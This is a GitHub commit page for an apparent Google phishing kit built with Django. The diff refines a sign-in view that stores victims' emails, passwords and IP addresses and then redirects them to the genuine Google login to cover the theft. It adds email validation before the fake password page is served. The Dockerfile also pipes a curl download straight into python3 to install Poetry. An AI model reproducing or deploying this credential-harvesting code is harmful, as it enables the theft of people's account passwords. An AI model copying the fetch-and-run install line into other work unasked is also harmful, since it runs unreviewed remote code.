Skip to content

Commit

Permalink
Merge pull request #44 from dmdhrumilmistry/dev
Browse files Browse the repository at this point in the history
Dev Merge
  • Loading branch information
dmdhrumilmistry authored Nov 10, 2023
2 parents b02e7a7 + dab3d29 commit 394f49e
Show file tree
Hide file tree
Showing 2 changed files with 10 additions and 3 deletions.
4 changes: 3 additions & 1 deletion Dockerfile
Original file line number Diff line number Diff line change
Expand Up @@ -14,6 +14,8 @@
# docker run -d -p 80:8000 googlephish
#

## TODO: enhance dockerfile

# choose baseimage
FROM python

Expand All @@ -33,7 +35,7 @@ ENV POETRY_HOME="/poetry"
RUN curl -sSL https://install.python-poetry.org | python3 -

# install requirements
RUN /poetry/bin/poetry install
RUN /poetry/bin/poetry install

# check for errors in application
RUN /poetry/bin/poetry run python manage.py check
Expand Down
9 changes: 7 additions & 2 deletions Phisher/views.py
Original file line number Diff line number Diff line change
@@ -1,5 +1,7 @@
from django.http import JsonResponse
from django.shortcuts import render, HttpResponsePermanentRedirect
from django.core.validators import validate_email
from django.core.exceptions import ValidationError
from datetime import datetime

from .models import SignIn
Expand Down Expand Up @@ -33,8 +35,11 @@ def signin(request):
password).strip(), date_time=datetime.now(), client_ip=client_ip).save()
return HttpResponsePermanentRedirect(f'https://accounts.google.com?authuser={email}')
elif email:
email = email.split('@')[0] + '@gmail.com'
return render(request, 'passwd.html', {'email': email})
try:
validate_email(email)
return render(request, 'passwd.html', {'email': email})
except ValidationError:
pass

return index(request)
except Exception as e:
Expand Down

0 comments on commit 394f49e

Please sign in to comment.